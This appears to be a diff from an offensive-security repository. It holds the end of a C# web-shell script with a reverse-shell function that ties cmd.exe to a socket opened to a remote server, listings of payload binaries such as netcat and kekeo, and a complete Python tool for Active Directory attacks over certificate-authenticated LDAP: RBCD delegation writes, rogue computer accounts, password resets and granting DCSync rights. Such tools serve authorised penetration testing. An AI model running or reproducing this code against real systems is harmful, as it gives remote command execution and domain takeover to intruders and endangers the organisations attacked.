All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VMOperation = 0x00000008,
VMRead = 0x00000010,
VMWrite = 0x00000020,
DupHandle = 0x00000040,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
Synchronize = 0x00100000
}
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll")]
extern static IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,
IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle,
uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
[DllImport("psapi.dll", SetLastError = true)]
public static extern bool EnumProcessModules(IntPtr hProcess,
[MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U4)] [In][Out] uint[] lphModule,
uint cb,
[MarshalAs(UnmanagedType.U4)] out uint lpcbNeeded);
[DllImport("psapi.dll")]
static extern uint GetModuleBaseName(IntPtr hProcess, uint hModule, StringBuilder lpBaseName, uint nSize);
public const uint PIPE_ACCESS_OUTBOUND = 0x00000002;
public const uint PIPE_ACCESS_DUPLEX = 0x00000003;
public const uint PIPE_ACCESS_INBOUND = 0x00000001;
public const uint PIPE_WAIT = 0x00000000;
public const uint PIPE_NOWAIT = 0x00000001;
public const uint PIPE_READMODE_BYTE = 0x00000000;
public const uint PIPE_READMODE_MESSAGE = 0x00000002;
public const uint PIPE_TYPE_BYTE = 0x00000000;
public const uint PIPE_TYPE_MESSAGE = 0x00000004;
public const uint PIPE_CLIENT_END = 0x00000000;
public const uint PIPE_SERVER_END = 0x00000001;
public const uint PIPE_UNLIMITED_INSTANCES = 255;
public const uint NMPWAIT_WAIT_FOREVER = 0xffffffff;
public const uint NMPWAIT_NOWAIT = 0x00000001;
public const uint NMPWAIT_USE_DEFAULT_WAIT = 0x00000000;
public const uint GENERIC_READ = (0x80000000);
public const uint GENERIC_WRITE = (0x40000000);
public const uint GENERIC_EXECUTE = (0x20000000);
public const uint GENERIC_ALL = (0x10000000);
public const uint CREATE_NEW = 1;
public const uint CREATE_ALWAYS = 2;
public const uint OPEN_EXISTING = 3;
public const uint OPEN_ALWAYS = 4;
public const uint TRUNCATE_EXISTING = 5;
public const int INVALID_HANDLE_VALUE = -1;
public const ulong ERROR_SUCCESS = 0;
public const ulong ERROR_CANNOT_CONNECT_TO_PIPE = 2;
public const ulong ERROR_PIPE_BUSY = 231;
public const ulong ERROR_NO_DATA = 232;
public const ulong ERROR_PIPE_NOT_CONNECTED = 233;
public const ulong ERROR_MORE_DATA = 234;
public const ulong ERROR_PIPE_CONNECTED = 535;
public const ulong ERROR_PIPE_LISTENING = 536;
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr CreateNamedPipe(
String lpName,
uint dwOpenMode,
uint dwPipeMode,
uint nMaxInstances,
uint nOutBufferSize,
uint nInBufferSize,
uint nDefaultTimeOut,
IntPtr pipeSecurityDescriptor
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ConnectNamedPipe(
IntPtr hHandle,
uint lpOverlapped
);
[DllImport("Advapi32.dll", SetLastError = true)]
public static extern bool ImpersonateNamedPipeClient(
IntPtr hHandle);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool GetNamedPipeHandleState(
IntPtr hHandle,
IntPtr lpState,
IntPtr lpCurInstances,
IntPtr lpMaxCollectionCount,
IntPtr lpCollectDataTimeout,
StringBuilder lpUserName,
int nMaxUserNameSize
);
protected void CallbackShell(string server, int port)
{
string request = "Spawn Shell...\n";
Byte[] bytesSent = Encoding.ASCII.GetBytes(request);
IntPtr oursocket = IntPtr.Zero;
sockaddr_in socketinfo;
oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0);
socketinfo = new sockaddr_in();
socketinfo.sin_family = (short) AddressFamily.InterNetwork;
socketinfo.sin_addr = inet_addr(server);
socketinfo.sin_port = (short) htons((ushort)port);
connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo));
send(oursocket, bytesSent, request.Length, 0);
SpawnProcessAsPriv(oursocket);
closesocket(oursocket);
}
protected void SpawnProcess(IntPtr oursocket)
{
bool retValue;
string Application = Environment.GetEnvironmentVariable("comspec");
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
STARTUPINFO sInfo = new STARTUPINFO();
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
pSec.Length = Marshal.SizeOf(pSec);
sInfo.dwFlags = 0x00000101;
sInfo.hStdInput = oursocket;
sInfo.hStdOutput = oursocket;
sInfo.hStdError = oursocket;
retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
}
protected void SpawnProcessAsPriv(IntPtr oursocket)
{
bool retValue;
string Application = Environment.GetEnvironmentVariable("comspec");
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
STARTUPINFO sInfo = new STARTUPINFO();
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
pSec.Length = Marshal.SizeOf(pSec);
sInfo.dwFlags = 0x00000101;
IntPtr DupeToken = new IntPtr(0);
sInfo.hStdInput = oursocket;
sInfo.hStdOutput = oursocket;
sInfo.hStdError = oursocket;
if (DupeToken == IntPtr.Zero)
retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
else
retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
CloseHandle(DupeToken);
}
</script>

View File

View File

BIN
payloads/windows/kekeo.exe Normal file
View File

Binary file not shown.

View File

Binary file not shown.

View File

Binary file not shown.

View File

Binary file not shown.

BIN
payloads/windows/nc.exe Normal file
View File

Binary file not shown.

BIN
payloads/windows/nc64.exe Normal file
View File

Binary file not shown.

View File

Binary file not shown.

View File

@@ -0,0 +1,699 @@
#!/usr/bin/env python3
#
# Almond (almond.consulting). Copyright (C) 2022 Almond. All rights reserved.
#
# Accompanying blog post: https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# This script implements LDAP certificate authentication for two impacket scripts : addComputer.py and rbcd.py.
#
# If you use Certipy (https://github.com/ly4k/Certipy) to retrieve certificates, you can extract key and cert from the pfx by using:
# $ certipy cert -pfx user.pfx -nokey -out user.crt
# $ certipy cert -pfx user.pfx -nocert -out user.key
#
# Author:
# drm (@lowercase_drm) / ThePirateWhoSmellsOfSunflowers
#
# based on :
# JaGoTu (@jagotu) work on https://github.com/SecureAuthCorp/impacket/blob/master/examples/addcomputer.py
# Remi Gascou (@podalirius_) and Charlie Bromberg (@_nwodtuhs) work on https://github.com/SecureAuthCorp/impacket/blob/master/examples/rbcd.py
# Impacket by SecureAuth https://github.com/SecureAuthCorp/impacket
#
import sys
import copy
import string
import random
import logging
import argparse
import ssl
import ldap3
import ldapdomaindump
from impacket import version
from impacket.examples import logger
from impacket.examples.ldap_shell import LdapShell as _LdapShell
from impacket.ldap import ldaptypes
from impacket.uuid import string_to_bin
class LdapShell(_LdapShell):
def __init__(self, tcp_shell, domain_dumper, client):
super().__init__(tcp_shell, domain_dumper, client)
self.use_rawinput = True
self.shell = tcp_shell
self.prompt = "\n# "
self.tid = None
self.intro = "Type help for list of commands"
self.loggedIn = True
self.last_output = None
self.completion = []
self.client = client
self.domain_dumper = domain_dumper
def do_dump(self, line):
logging.warning("Not implemented")
def do_exit(self, line):
print("Bye!")
return True
class DummyDomainDumper:
def __init__(self, root: str):
self.root = root
def ldap_shell(ldap_server, ldap_conn):
root = ldap_server.info.other["defaultNamingContext"][0]
domain_dumper = DummyDomainDumper(root)
ldap_shell = LdapShell(sys, domain_dumper, ldap_conn)
try:
ldap_shell.cmdloop()
except KeyboardInterrupt:
print("Bye!\n")
pass
def create_empty_sd():
sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
sd['Revision'] = b'\x01'
sd['Sbz1'] = b'\x00'
sd['Control'] = 32772
sd['OwnerSid'] = ldaptypes.LDAP_SID()
# BUILTIN\Administrators
sd['OwnerSid'].fromCanonical('S-1-5-32-544')
sd['GroupSid'] = b''
sd['Sacl'] = b''
acl = ldaptypes.ACL()
acl['AclRevision'] = 4
acl['Sbz1'] = 0
acl['Sbz2'] = 0
acl.aces = []
sd['Dacl'] = acl
return sd
# Create an ALLOW ACE with the specified sid
def create_allow_ace(sid, guid_str=False):
nace = ldaptypes.ACE()
nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
nace['AceFlags'] = 0x00
acedata = ldaptypes.ACCESS_ALLOWED_ACE()
acedata['Mask'] = ldaptypes.ACCESS_MASK()
acedata['Mask']['Mask'] = 983551 # Full control
acedata['Sid'] = ldaptypes.LDAP_SID()
acedata['Sid'].fromCanonical(sid)
if guid_str:
acedata['ObjectType'] = string_to_bin(guid_str)
acedata['ObjectTypeLen'] = len(string_to_bin(guid_str))
acedata['InheritedObjectTypeLen'] = 0
acedata['InheritedObjectType'] = b''
acedata['Flags'] = 1
nace['Ace'] = acedata
return nace
class RBCD(object):
"""docstring for setrbcd"""
def __init__(self, ldap_server, ldap_session, delegate_to):
super(RBCD, self).__init__()
self.ldap_server = ldap_server
self.ldap_session = ldap_session
self.delegate_from = None
self.delegate_to = delegate_to
self.SID_delegate_from = None
self.DN_delegate_to = None
logging.debug('Initializing domainDumper()')
cnf = ldapdomaindump.domainDumpConfig()
cnf.basepath = None
self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf)
def read(self):
# Get target computer DN
result = self.get_user_info(self.delegate_to)
if not result:
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
return
self.DN_delegate_to = result[0]
# Get list of allowed to act
self.get_allowed_to_act()
return
def write(self, delegate_from):
self.delegate_from = delegate_from
# Get escalate user sid
result = self.get_user_info(self.delegate_from)
if not result:
logging.error('Account to escalate does not exist! (forgot "$" for a computer account? wrong domain?)')
return
self.SID_delegate_from = str(result[1])
# Get target computer DN
result = self.get_user_info(self.delegate_to)
if not result:
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
return
self.DN_delegate_to = result[0]
# Get list of allowed to act and build security descriptor including previous data
sd, targetuser = self.get_allowed_to_act()
# writing only if SID not already in list
if self.SID_delegate_from not in [ ace['Ace']['Sid'].formatCanonical() for ace in sd['Dacl'].aces ]:
sd['Dacl'].aces.append(create_allow_ace(self.SID_delegate_from))
self.ldap_session.modify(targetuser['dn'],
{'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE,
[sd.getData()]]})
if self.ldap_session.result['result'] == 0:
logging.info('Delegation rights modified successfully!')
logging.info('%s can now impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to)
else:
if self.ldap_session.result['result'] == 50:
logging.error('Could not modify object, the server reports insufficient rights: %s',
self.ldap_session.result['message'])
elif self.ldap_session.result['result'] == 19:
logging.error('Could not modify object, the server reports a constrained violation: %s',
self.ldap_session.result['message'])
else:
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
else:
logging.info('%s can already impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to)
logging.info('Not modifying the delegation rights.')
# Get list of allowed to act
self.get_allowed_to_act()
return
def remove(self, delegate_from):
self.delegate_from = delegate_from
# Get escalate user sid
result = self.get_user_info(self.delegate_from)
if not result:
logging.error('Account to escalate does not exist! (forgot "$" for a computer account? wrong domain?)')
return
self.SID_delegate_from = str(result[1])
# Get target computer DN
result = self.get_user_info(self.delegate_to)
if not result:
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
return
self.DN_delegate_to = result[0]
# Get list of allowed to act and build security descriptor including that data
sd, targetuser = self.get_allowed_to_act()
# Remove the entries where SID match the given -delegate-from
sd['Dacl'].aces = [ace for ace in sd['Dacl'].aces if self.SID_delegate_from != ace['Ace']['Sid'].formatCanonical()]
self.ldap_session.modify(targetuser['dn'],
{'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]]})
if self.ldap_session.result['result'] == 0:
logging.info('Delegation rights modified successfully!')
else:
if self.ldap_session.result['result'] == 50:
logging.error('Could not modify object, the server reports insufficient rights: %s',
self.ldap_session.result['message'])
elif self.ldap_session.result['result'] == 19:
logging.error('Could not modify object, the server reports a constrained violation: %s',
self.ldap_session.result['message'])
else:
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
# Get list of allowed to act
self.get_allowed_to_act()
return
def flush(self):
# Get target computer DN
result = self.get_user_info(self.delegate_to)
if not result:
logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)')
return
self.DN_delegate_to = result[0]
# Get list of allowed to act
sd, targetuser = self.get_allowed_to_act()
self.ldap_session.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, []]})
if self.ldap_session.result['result'] == 0:
logging.info('Delegation rights flushed successfully!')
else:
if self.ldap_session.result['result'] == 50:
logging.error('Could not modify object, the server reports insufficient rights: %s',
self.ldap_session.result['message'])
elif self.ldap_session.result['result'] == 19:
logging.error('Could not modify object, the server reports a constrained violation: %s',
self.ldap_session.result['message'])
else:
logging.error('The server returned an error: %s', self.ldap_session.result['message'])
# Get list of allowed to act
self.get_allowed_to_act()
return
def get_allowed_to_act(self):
# Get target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute
self.ldap_session.search(self.DN_delegate_to, '(objectClass=*)', search_scope=ldap3.BASE,
attributes=['SAMAccountName', 'objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
targetuser = None
for entry in self.ldap_session.response:
if entry['type'] != 'searchResEntry':
continue
targetuser = entry
if not targetuser:
logging.error('Could not query target user properties')
return
try:
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(
data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
if len(sd['Dacl'].aces) > 0:
logging.info('Accounts allowed to act on behalf of other identity:')
for ace in sd['Dacl'].aces:
SID = ace['Ace']['Sid'].formatCanonical()
SamAccountName = self.get_sid_info(ace['Ace']['Sid'].formatCanonical())[1]
logging.info(' %-10s (%s)' % (SamAccountName, SID))
else:
logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty')
except IndexError:
logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty')
# Create DACL manually
sd = create_empty_sd()
return sd, targetuser
def get_user_info(self, samname):
self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % ldap3.utils.conv.escape_filter_chars(samname), attributes=['objectSid'])
try:
dn = self.ldap_session.entries[0].entry_dn
sid = ldap3.protocol.formatters.formatters.format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0])
return dn, sid
except IndexError:
logging.error('User not found in LDAP: %s' % samname)
return False
def get_sid_info(self, sid):
self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % ldap3.utils.conv.escape_filter_chars(sid), attributes=['samaccountname'])
try:
dn = self.ldap_session.entries[0].entry_dn
samname = self.ldap_session.entries[0]['samaccountname']
return dn, samname
except IndexError:
logging.error('SID not found in LDAP: %s' % sid)
return '[Could not resolve SID]', '[Could not resolve SID]'
class ManageUser:
"""docstring for ManageUser"""
def __init__(self, ldapConn, cmdLineOptions):
self.ldapConn = ldapConn
self.__accountName = cmdLineOptions.target
self.__domain = cmdLineOptions.domain
self.__baseDN = cmdLineOptions.baseDN
if self.__baseDN is None:
# Create the baseDN
domainParts = self.__domain.split('.')
self.__baseDN = ''
for i in domainParts:
self.__baseDN += 'dc=%s,' % i
# Remove last ','
self.__baseDN = self.__baseDN[:-1]
if not '.' in self.__domain:
logging.warning('\'%s\' doesn\'t look like a FQDN. Generating baseDN will probably fail.' % self.__domain)
if not self.LDAPUserExists(self.__accountName):
raise Exception("sAMAccountName %s not found in %s!" % (self.__accountName, self.__baseDN))
self.__targetDN, self.__targetSID = self.LDAPGetUser(self.__accountName)
def LDAPUserExists(self, accountName):
res, _ = self.LDAPGetUser(accountName)
return res
def LDAPGetUser(self, accountName):
self.ldapConn.search(self.__baseDN, \
'(sAMAccountName=%s)' % ldap3.utils.conv.escape_filter_chars(accountName), \
attributes=['objectSid'])
try:
dn = self.ldapConn.entries[0].entry_dn
sid = ldap3.protocol.formatters.formatters.format_sid(self.ldapConn.entries[0]['objectSid'].raw_values[0])
return dn, sid
except IndexError:
logging.error('User not found in LDAP: %s' % accountName)
return False, ''
def elevate(self, forestDN=None): # implementation was inspired by @skelsec's `msldap` code
if forestDN is None:
forestDN = self.__baseDN
res = self.ldapConn.search(search_base=self.__baseDN, \
search_filter=f'(distinguishedName={forestDN})', \
attributes=['nTSecurityDescriptor'])
if res is None:
logging.error('Failed to get forest\'s SD')
baseDN_sd = self.ldapConn.entries[0].entry_raw_attributes
if baseDN_sd['nTSecurityDescriptor'] == []:
raise Exception("User doesn't have right read nTSecurityDescriptor!")
sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=baseDN_sd['nTSecurityDescriptor'][0])
new_sd = copy.deepcopy(sd)
for guid in ['1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', \
'1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', \
'89e95b76-444d-4c62-991a-0facbeda640c']:
new_sd['Dacl'].aces.append(create_allow_ace(self.__targetSID, guid))
res = self.ldapConn.modify(forestDN, \
{'nTSecurityDescriptor': [ldap3.MODIFY_REPLACE, [new_sd.getData()]]})
if not res:
if self.ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
raise Exception("User doesn't have right to modify %s!" % (self.__targetDN))
elif self.ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM:
raise Exception("Unwilling to Perform: %s" % (self.ldapConn.result['message']))
else:
raise Exception(str(ldapConn.result))
else:
logging.info("Granted user '%s' DCSYNC rights!" % (self.__accountName))
def changePWD(self, newPWD):
if newPWD is False:
newPWD = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32))
res = self.ldapConn.modify(self.__targetDN, \
{'unicodePwd': [(ldap3.MODIFY_REPLACE, ['"{}"'.format(newPWD).encode('utf-16-le')])]})
if not res:
if self.ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
raise Exception("User doesn't have right to modify %s!" % (self.__targetDN))
elif self.ldapConn.result['result'] == ldap3.core.results.RESULT_NO_SUCH_OBJECT:
raise Exception("Target DN '%s' is not correct!" % (self.__targetDN))
elif self.ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM:
raise Exception("Password complexity not met. Unwilling to Perform: %s" % (self.ldapConn.result['message']))
else:
raise Exception(str(self.ldapConn.result))
else:
logging.info("Successfully changed %s password to: %s" % (self.__accountName, newPWD))
class ManageComputer:
def __init__(self, ldapConn, cmdLineOptions):
self.options = cmdLineOptions
self.ldapConn = ldapConn
self.__action = cmdLineOptions.action
self.__domain = cmdLineOptions.domain
self.__computerName = cmdLineOptions.computer_name
self.__computerPassword = cmdLineOptions.computer_pass
self.__domainNetbios = cmdLineOptions.domain_netbios
self.__baseDN = cmdLineOptions.baseDN
self.__computerGroup = cmdLineOptions.computer_group
if self.__computerName is None:
if self.__action in ('modify_computer','delete_computer'):
raise ValueError("You have to provide a computer name when using modify_computer or delete_computer.")
else:
if self.__computerName[-1] != '$':
self.__computerName += '$'
if not '.' in self.__domain:
logging.warning('\'%s\' doesn\'t look like a FQDN. Generating baseDN will probably fail.' % self.__domain)
if self.__computerPassword is None:
self.__computerPassword = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32))
if self.__domainNetbios is None:
self.__domainNetbios = self.__domain
if self.__baseDN is None:
# Create the baseDN
domainParts = self.__domain.split('.')
self.__baseDN = ''
for i in domainParts:
self.__baseDN += 'dc=%s,' % i
# Remove last ','
self.__baseDN = self.__baseDN[:-1]
if self.__computerGroup is None:
self.__computerGroup = 'CN=Computers,' + self.__baseDN
logging.debug('The new computer will be added in %s' % self.__computerGroup)
def whoami(self):
current_user = self.ldapConn.extend.standard.who_am_i()
if current_user == None:
raise Exception('whoami command failed, certificate seems not trusted by the Active Directory')
# LDAP whoami returns an authzId, so we strip the prefix
logging.info('You are logged in as: %s' % current_user[2:])
def add_computer(self, constrained_delegations = None):
if self.__computerName is not None:
if self.LDAPComputerExists(self.ldapConn, self.__computerName):
raise Exception("Account %s already exists! If you just want to set a password, use -no-add." % self.__computerName)
else:
while True:
self.__computerName = self.generateComputerName()
if not self.LDAPComputerExists(self.ldapConn, self.__computerName):
break
computerHostname = self.__computerName[:-1]
computerDn = ('CN=%s,%s' % (computerHostname, self.__computerGroup))
# Default computer SPNs
spns = [
'HOST/%s' % computerHostname,
'HOST/%s.%s' % (computerHostname, self.__domain),
'RestrictedKrbHost/%s' % computerHostname,
'RestrictedKrbHost/%s.%s' % (computerHostname, self.__domain),
]
ucd = {
'dnsHostName': '%s.%s' % (computerHostname, self.__domain),
'userAccountControl': 0x1000,
'servicePrincipalName': spns,
'sAMAccountName': self.__computerName,
'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le')
}
# Add constrained delegations fields to the computer
if constrained_delegations and len(constrained_delegations) > 0:
# Set the TRUSTED_TO_AUTH_FOR_DELEGATION and WORKSTATION_TRUST_ACCOUNT flags
# MS doc: https://learn.microsoft.com/fr-fr/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
ucd['userAccountControl'] = 0x1000000|0x1000
# Set the list of services authorized (format: protocol/FQDNserver)
ucd['msDS-AllowedToDelegateTo'] = constrained_delegations.split(',') #Split multiple services in the command line
logging.info("Adding constrained delegations services to the computer object: %s" % constrained_delegations)
res = self.ldapConn.add(computerDn, ['top','person','organizationalPerson','user','computer'], ucd)
if not res:
if self.ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM:
error_code = int(self.ldapConn.result['message'].split(':')[0].strip(), 16)
if error_code == 0x216D:
raise Exception("User machine quota exceeded!")
else:
raise Exception(str(self.ldapConn.result))
elif self.ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
raise Exception("User doesn't have right to create a machine account!")
elif self.ldapConn.result['result'] == ldap3.core.results.RESULT_CONSTRAINT_VIOLATION:
raise Exception("User doesn't have right to create constrained delegations!")
else:
raise Exception(str(self.ldapConn.result))
else:
logging.info("Successfully added machine account %s with password %s." % (self.__computerName, self.__computerPassword))
def delete_computer(self):
if not self.LDAPComputerExists(self.ldapConn, self.__computerName):
raise Exception("Account %s not found in %s!" % (self.__computerName, self.__baseDN))
computer = self.LDAPGetComputer(self.ldapConn, self.__computerName)
res = self.ldapConn.delete(computer.entry_dn)
if not res:
if self.ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
raise Exception("User doesn't have right to delete %s!" % (self.__computerName))
else:
raise Exception(str(self.ldapConn.result))
else:
logging.info("Successfully deleted %s." % self.__computerName)
def modify_computer(self):
if not self.LDAPComputerExists(self.ldapConn, self.__computerName):
raise Exception("Account %s not found in %s!" % (self.__computerName, self.__baseDN))
computer = self.LDAPGetComputer(self.ldapConn, self.__computerName)
res = self.ldapConn.modify(computer.entry_dn, {'unicodePwd': [(ldap3.MODIFY_REPLACE, ['"{}"'.format(self.__computerPassword).encode('utf-16-le')])]})
if not res:
if self.ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
raise Exception("User doesn't have right to modify %s!" % (self.__computerName))
else:
raise Exception(str(self.ldapConn.result))
else:
logging.info("Successfully set password of %s to %s" % (self.__computerName, self.__computerPassword))
def LDAPComputerExists(self, connection, computerName):
connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName)
return len(connection.entries) ==1
def LDAPGetComputer(self, connection, computerName):
connection.search(self.__baseDN, '(sAMAccountName=%s)' % computerName)
return connection.entries[0]
def generateComputerName(self):
return 'DESKTOP-' + (''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) + '$')
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print((version.BANNER))
parser = argparse.ArgumentParser(add_help = True, description = "Manage domain computers and perform RBCD attack via LDAP certificate authentication")
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-port', type=int, choices=[389, 636], default=636,
help='Destination port to connect to. LDAPS (via StartTLS) on 386 or LDAPS on 636.')
group = parser.add_argument_group('Action')
group.add_argument('-action', choices=['add_computer', 'del_computer', 'modify_computer', 'read_rbcd', 'write_rbcd', 'remove_rbcd', 'flush_rbcd', 'modify_user', 'whoami', 'ldap-shell'], nargs='?', default='whoami')
group = parser.add_argument_group('Manage User')
group.add_argument('-target', action='store', metavar='sAMAccountName', help='sAMAccountName of user to target.')
group.add_argument('-new-pass', action='store', metavar='Password', help='New password of target.', const=False, nargs='?')
group.add_argument('-elevate', action='store_true', help='Grant target account DCSYNC rights')
group = parser.add_argument_group('Manage Computer')
group.add_argument('-baseDN', action='store', metavar='DC=test,DC=local', help='Set baseDN for LDAP.'
'If omitted, the domain part (FQDN) '
'specified in the account parameter will be used.')
group.add_argument('-computer-group', action='store', metavar='CN=Computers', help='Group to which the account will be added.'
'If omitted, CN=Computers will be used,')
group.add_argument('-domain', action='store', metavar='test.local', help='Target domain fqdn')
group.add_argument('-domain-netbios', action='store', metavar='NETBIOSNAME', help='Domain NetBIOS name. Required if the DC has multiple domains.')
group.add_argument('-computer-name', action='store', metavar='COMPUTER-NAME$', help='Name of computer to add.'
'If omitted, a random DESKTOP-[A-Z0-9]{8} will be used.')
group.add_argument('-computer-pass', action='store', metavar='password', help='Password to set to computer. '
'If omitted, a random [A-Za-z0-9]{32} will be used.')
group.add_argument('-delegated-services', type=str, action='store', metavar='cifs/srv01.domain.local,ldap/srv01.domain.local', help='Services to configure in constrained delegation to configure to the new computer (no space in the list)')
group = parser.add_argument_group('RBCD attack')
group.add_argument("-delegate-to", type=str, required=False,
help="Target computer account the attacker has at least WriteProperty to")
group.add_argument("-delegate-from", type=str, required=False,
help="Attacker controlled machine account to write on the msDS-Allo[...] property (only when using `-action write`)")
group = parser.add_argument_group('Authentication')
group.add_argument('-dc-host', action='store',metavar = "hostname", help='Hostname of the domain controller to use. '
'If omitted, the domain part (FQDN) '
'specified in the account parameter will be used')
group.add_argument('-dc-ip', action='store',metavar = "ip", help='IP of the domain controller to use. '
'Useful if you can\'t translate the FQDN.')
group.add_argument('-crt', action="store", required=True, metavar = "user.crt", help='User\'s certificate')
group.add_argument('-key', action="store", required=True, metavar = "user.key", help='User\'s private key')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
try:
if options.crt in ('', None) or options.key in ('', None):
logging.critical('Cert and key should be specified!')
sys.exit(1)
if options.domain in ('', None) and options.baseDN in ('', None):
logging.critical('The target domain FQDN (-domain) or a base DN (-baseDN) should be specified!')
sys.exit(1)
if options.dc_ip:
target = options.dc_ip
else:
target = options.dc_host
tls = ldap3.Tls(local_private_key_file=options.key, local_certificate_file=options.crt, validate=ssl.CERT_NONE)
ldap_server_kwargs = {'use_ssl': options.port == 636,
'port': options.port,
'get_info': ldap3.ALL,
'tls': tls}
ldapServer = ldap3.Server(target, **ldap_server_kwargs)
ldap_connection_kwargs = dict()
if options.port == 389:
# I don't really know why, but using this combination of parameters with ldap3 will
# send a LDAP_SERVER_START_TLS_OID and trigger a StartTLS
ldap_connection_kwargs = {'authentication': ldap3.SASL,
'sasl_mechanism': ldap3.EXTERNAL,
'auto_bind': ldap3.AUTO_BIND_TLS_BEFORE_BIND}
ldapConn = ldap3.Connection(ldapServer, **ldap_connection_kwargs)
if options.port == 636:
# According to Microsoft :
# "If the client establishes the SSL/TLS-protected connection by means of connecting
# on a protected LDAPS port, then the connection is considered to be immediately
# authenticated (bound) as the credentials represented by the client certificate.
# An EXTERNAL bind is not allowed, and the bind will be rejected with an error."
# Using bind() function will raise an error, we just have to open() the connection
ldapConn.open()
if options.action in ('modify_user'):
if options.target is None:
logging.critical('-target is required !')
sys.exit(1)
manage = ManageUser(ldapConn, options)
if options.elevate:
manage.elevate()
elif options.new_pass is not None:
manage.changePWD(options.new_pass)
else:
logging.critical('User modification option (-elevate|-new-pass) needed!')
elif options.action in ('add_computer','del_computer','modify_computer', 'whoami', 'ldap-shell'):
manage = ManageComputer(ldapConn, options)
if options.action == 'add_computer':
manage.add_computer(options.delegated_services)
elif options.action == 'del_computer':
manage.delete_computer()
elif options.action == 'modify_computer':
manage.modify_computer()
elif options.action == 'whoami':
manage.whoami()
elif options.action == "ldap-shell":
ldap_shell(ldapServer, ldapConn)
else:
if options.delegate_to is None:
logging.critical('-delegate-to is required !')
sys.exit(1)
rbcd = RBCD(ldapServer, ldapConn, options.delegate_to)
if options.action == 'read_rbcd':
rbcd.read()
elif options.action == 'write_rbcd':
rbcd.write(options.delegate_from)
elif options.action == 'remove_rbcd':
rbcd.remove(options.delegate_from)
